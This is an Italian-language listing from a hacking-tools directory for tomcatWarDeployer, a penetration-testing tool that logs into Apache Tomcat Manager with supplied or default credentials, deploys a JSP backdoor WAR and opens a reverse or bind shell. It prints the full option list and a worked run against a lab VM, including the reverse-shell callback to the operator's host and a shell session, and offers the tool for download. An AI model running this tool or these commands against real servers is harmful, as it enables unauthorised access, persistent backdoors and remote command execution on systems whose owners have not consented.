Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/mgeeky/tomcatwardeployer
Generazione di PayloadExploitSfruttamento di Applicazioni WebPenetration Testing
GitHubmgeeky/tomcatwardeployer

tomcatWarDeployer

Strumento di test di penetrazione per auto-deployment di WAR e pwning su Apache Tomcat.

Vedi Repository
44613333 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

tomcatWarDeployer

Strumento di penetration testing per il deploy automatico di WAR su Apache Tomcat e compromissione.

Cos'è?

Questo è uno strumento di penetration testing progettato per sfruttare le credenziali di Apache Tomcat al fine di generare e distribuire automaticamente una backdoor JSP, invocarla successivamente e fornire una shell comoda (tramite GUI web, porta di ascolto collegata sulla macchina remota o come payload TCP inverso che si connette all'avversario).

In pratica, genera al volo un pacchetto WAR di backdoor JSP e lo distribuisce nell'Apache Tomcat Manager Application, utilizzando credenziali di autenticazione HTTP valide fornite dal penetration tester (o personalizzate, alla fine, amiamo tutti tomcat:tomcat).

Lo strumento offre un paio di funzionalità utili: logica di ricerca del pannello di amministrazione, supporto per il problema di doppia codifica CVE-2007-1860, gestione CSRF nei Tomcat più recenti.

Utilizzo

Semplice come fornire l'indirizzo del server con la porta, come coppia IP:PORTA. Ecco l'aiuto:

root@kitploit:~
user$ python tomcatWarDeployer.py --help

    tomcatWarDeployer (v. 0.5)
    Apache Tomcat auto WAR deployment & launching tool
    Mariusz Banach / MGeeky '16

Penetration Testing utility aiming at presenting danger of leaving Tomcat misconfigured.
    
Usage: tomcatWarDeployer.py [options] server

  server    Specifies server address. Please also include port after colon.

Options:
  -h, --help            show this help message and exit

  General options:
    -v, --verbose       Verbose mode.
    -s, --simulate      Simulate breach only, do not perform any offensive
                        actions.
    -G OUTFILE, --generate=OUTFILE
                        Generate JSP backdoor only and put it into specified
                        outfile path then exit. Do not perform any
                        connections, scannings, deployment and so on.
    -U USER, --user=USER
                        Tomcat Manager Web Application HTTP Auth username.
                        Default="tomcat"
    -P PASS, --pass=PASS
                        Tomcat Manager Web Application HTTP Auth password.
                        Default="tomcat"

  Connection options:
    -H RHOST, --host=RHOST
                        Remote host for reverse tcp payload connection. When
                        specified, RPORT must be specified too. Otherwise,
                        bind tcp payload will be deployed listening on 0.0.0.0
    -p PORT, --port=PORT
                        Remote port for the reverse tcp payload when used with
                        RHOST or Local port if no RHOST specified thus acting
                        as a Bind shell endpoint.
    -u URL, --url=URL   Apache Tomcat management console URL. Default:
                        /manager/
    -t TIMEOUT, --timeout=TIMEOUT
                        Speciifed timeout parameter for socket object and
                        other timing holdups. Default: 10

  Payload options:
    -R APPNAME, --remove=APPNAME
                        Remove deployed app with specified name. Can be used
                        for post-assessment cleaning
    -X PASSWORD, --shellpass=PASSWORD
                        Specifies authentication password for uploaded shell,
                        to prevent unauthenticated usage. Default: randomly
                        generated. Specify "None" to leave the shell
                        unauthenticated.
    -T TITLE, --title=TITLE
                        Specifies head>title for uploaded JSP WAR payload.
                        Default: "JSP Application"
    -n APPNAME, --name=APPNAME
                        Specifies JSP application name. Default: "jsp_app"
    -x, --unload        Unload existing JSP Application with the same name.
                        Default: no.
    -C, --noconnect     Do not connect to the spawned shell immediately. By
                        default this program will connect to the spawned
                        shell, specifying this option let's you use other
                        handlers like Metasploit, NetCat and so on.
    -f WARFILE, --file=WARFILE
                        Custom WAR file to deploy. By default the script will
                        generate own WAR file on-the-fly.

E un esempio di utilizzo su Kevgir 1 VM di canyoupwn.me in esecuzione su 192.168.56.100:8080:

root@kitploit:~
user$ python tomcatWarDeployer.py -v -x -p 4449 -H 192.168.56.102 192.168.56.100:8080

    tomcatWarDeployer (v. 0.3)
    Apache Tomcat 6/7 auto WAR deployment & launching tool
    Mariusz Banach / MGeeky '16

Penetration Testing utility aiming at presenting danger of leaving Tomcat misconfigured.
    
INFO: Reverse shell will connect to: 192.168.56.102:4449.
DEBUG: Browsing to "http://192.168.56.100:8080/manager/"... Creds: tomcat:tomcat
DEBUG: Apache Tomcat Manager Application reached & validated.
DEBUG: Generating JSP WAR backdoor code...
DEBUG: Preparing additional code for Reverse TCP shell
DEBUG: Generating temporary structure for jsp_app WAR at: "/tmp/tmpDhzo9I"
DEBUG: Working with Java at version: 1.8.0_60
DEBUG: Generating web.xml with servlet-name: "JSP Application"
DEBUG: Generating WAR file at: "/tmp/jsp_app.war"
DEBUG: added manifest
adding: files/(in = 0) (out= 0)(stored 0%)
adding: files/WEB-INF/(in = 0) (out= 0)(stored 0%)
adding: files/WEB-INF/web.xml(in = 547) (out= 253)(deflated 53%)
adding: files/META-INF/(in = 0) (out= 0)(stored 0%)
adding: files/META-INF/MANIFEST.MF(in = 68) (out= 67)(deflated 1%)
adding: index.jsp(in = 4684) (out= 1595)(deflated 65%)
DEBUG: WAR file structure:
DEBUG: /tmp/tmpDhzo9I
├── files
│   ├── META-INF
│   │   └── MANIFEST.MF
│   └── WEB-INF
│       └── web.xml
└── index.jsp

3 directories, 3 files
WARNING: Application with name: "jsp_app" is already deployed.
DEBUG: Unloading existing one...
DEBUG: Unloading application: "http://192.168.56.100:8080/jsp_app/"
DEBUG: Succeeded.
DEBUG: Deploying application: jsp_app from file: "/tmp/jsp_app.war"
DEBUG: Removing temporary WAR directory: "/tmp/tmpDhzo9I"
DEBUG: Succeeded, invoking it...
DEBUG: Spawned shell handling thread. Awaiting for the event...
DEBUG: Awaiting for reverse-shell handler to set-up
DEBUG: Establishing listener for incoming reverse TCP shell at 192.168.56.102:4449
DEBUG: Socket is binded to local port now, awaiting for clients...
DEBUG: Invoking application at url: "http://192.168.56.100:8080/jsp_app/"
DEBUG: Adding 'X-Pass: oHI9mPB0mOnZ' header for shell functionality authentication.
DEBUG: Incoming client: 192.168.56.100:54251
INFO: JSP Backdoor up & running on http://192.168.56.100:8080/jsp_app/
INFO: Happy pwning. Here take that password for web shell: 'oHI9mPB0mOnZ'
DEBUG: Connected with the shell: tomcat7@canyoupwnme
jh
tomcat7@canyoupwnme $ id
uid=106(tomcat7) gid=114(tomcat7) groups=114(tomcat7)

tomcat7@canyoupwnme $ exit

Il programma configurerà un listener locale per la connessione reverse-shell sull'host 192.168.56.102:4449 (host locale) come nell'esempio sopra. Dopo aver invocato la backdoor JSP, si connetterà automaticamente al listener locale, ottenendo così una shell. Si può anche omettere il parametro -H per utilizzare la funzionalità bind shell, in cui anziché configurare un listener locale, il programma si connetterà a una shell in ascolto remota.

Infine, l'invocazione sopra produrrà la seguente applicazione JSP accessibile da remoto via WEB:

Interfaccia JSP backdoor

Come si può vedere, è necessaria una password per sfruttare la backdoor distribuita, impedendo così l'accesso non autenticato durante la valutazione condotta.

Riassumendo, l'utente ha generato un'applicazione WEB che fornisce una backdoor WEB, autenticata tramite il parametro POST 'password' che può essere specificato dall'utente o generato casualmente dal programma. Poi, l'applicazione, ricevendo l'intestazione X-Pass nella fase di invocazione, ha avviato una connessione inversa verso il nostro handler netcat. L'intestazione HTTP viene richiesta per impedire all'utente di aggiornare la GUI web e continuare a tentare di connettersi in bind o reverse. Inoltre, questo sfrutta l'autenticazione per raggiungere quel codice.

Questo è tutto, credo.

TESTATO

  • Apache Tomcat/5.5.35
  • Apache Tomcat/6.?
  • Apache Tomcat/7.0.52
  • Apache Tomcat/7.0.56
  • Apache Tomcat/8.0.33

CHANGELOG

  • 19.07.16: Versione 0.3: Aggiunte funzionalità bind-shell e reverse-shell per fornire all'utente accesso diretto alla shell.
  • 12.09.16: Versione 0.3.3: Aggiunto supporto per interfaccia Tomcat 5.
  • 21.12.17: Correzione rapida per il problema http/https e per evitare la convalida dei certificati SSL.
  • 04.05.18: Migliorata leggermente l'interfaccia web, aggiunti colori per il prompt della shell e migliorato il supporto per il loop della shell Windows.
  • 31.08.18: Aggiunto supporto per CSRF e gestione di JSESSIONID nelle versioni Tomcat 7+ e per CVE-2007-1860 - puoi verificare come funziona automaticamente fin da subito su PentesterLab

TODO

  • Implementare funzionalità di payload bind e reverse tcp e una pty per interagire con essi
  • Completare l'implementazione della funzionalità noconnect e connect
  • Implementare una sorta di autenticazione e crittografia/codifica della comunicazione per evitare il flusso di dati in chiaro attraverso il cavo/etere
  • Testarlo su tomcat5, tomcat8

☕ Mostra supporto ☕

Questo e altri progetti sono il risultato di notti insonni e molto duro lavoro. Se ti piace quello che faccio e apprezzo che restituisco sempre qualcosa alla comunità, Considera di offrirmi un caffè (o meglio una birra) solo per dire grazie! 💪


Autore

root@kitploit:~
   Mariusz Banach / mgeeky, 21
   <mb [at] binary-offensive.com>
   (https://github.com/mgeeky)
Scarica lo strumento